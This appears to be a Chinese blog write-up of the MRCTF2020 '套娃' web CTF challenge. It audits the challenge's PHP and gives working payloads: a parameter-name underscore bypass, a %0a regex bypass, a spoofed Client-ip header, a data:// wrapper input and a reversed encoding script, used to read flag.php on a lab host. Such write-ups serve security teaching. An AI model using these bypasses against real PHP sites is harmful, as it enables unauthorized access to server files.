[MRCTF2020]套娃1

进入页面啥都没有.

ctrl + u 试试~ 

发现了不得了的东西~


//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

开始代码审计~

$_SERVER['QUERY_STRING']是个超全局变量,用于获取url中?后面的部分.

substr_count(),用于计算一个字符串在另一个字符串内出现的次数, 

%5f <==> ' _ '

preg_match('/^23333$/', $_GET['b_u_p_t'])) 是匹配传入的value是23333

//GET传参总是会被当做字符串来处理

^是开始符  $是结束符

意思是我们传入的 name 不能含有下划线.

而且我们传入的 value =>23333

PHP会自动将传入的点号(.)或空格( )转化为下划线(_)。这是因为在命名变量或函数时,点号和空格不是合法的字符,因此PHP会自动将它们转化为下划线。这样可以确保传入的值符合命名的规范

而正则表达式我们可以通过%0a去绕过,%0a是换行符,当PHP代码执行的时候23333%0a !== 23333 为true 而且当正则匹配的时候,23333%0a也会匹配成功.

开始构造payload~

http://4c481868-97f6-41a9-9eff-b60c2875d080.node5.buuoj.cn:81/?b%20u%20p%20t=23333%0a

拿到一个新的地址去访问一下 ~

看一下页面元素.

 

有新发现时jsfuck编码,那放在控制台执行一下~

得到提示开始传参~

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

 又要开始代码审计了~

这里要求我们的ip地址为本地ip地址,且传入name=2333,value=todat is a happy day 的内容

这里设置Client-ip=127.0.0.1   而 2333=data://text/plain,todat is a happy day 来绕过

而最后的change函数,是将我们传入的file值进行base64解码后,又将原本字符串替换为在ascii表中的原value+2的对应字符

如果获得flag.php的内容那就要构造反change

<?php

function change(){ 
    $v = 'flag.php'; 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
	$re=base64_encode($re);
    return $re; 
} 


echo change();
	
?>

 result : ZmpdYSZmXGI= 

开始构造payload~

GET /secrettw.php?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI= HTTP/1.1
Host: 227a43b6-9864-4749-a9a2-b95feb37a8f9.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Client-ip:127.0.0.1 

获取flag~

  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安红豆.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值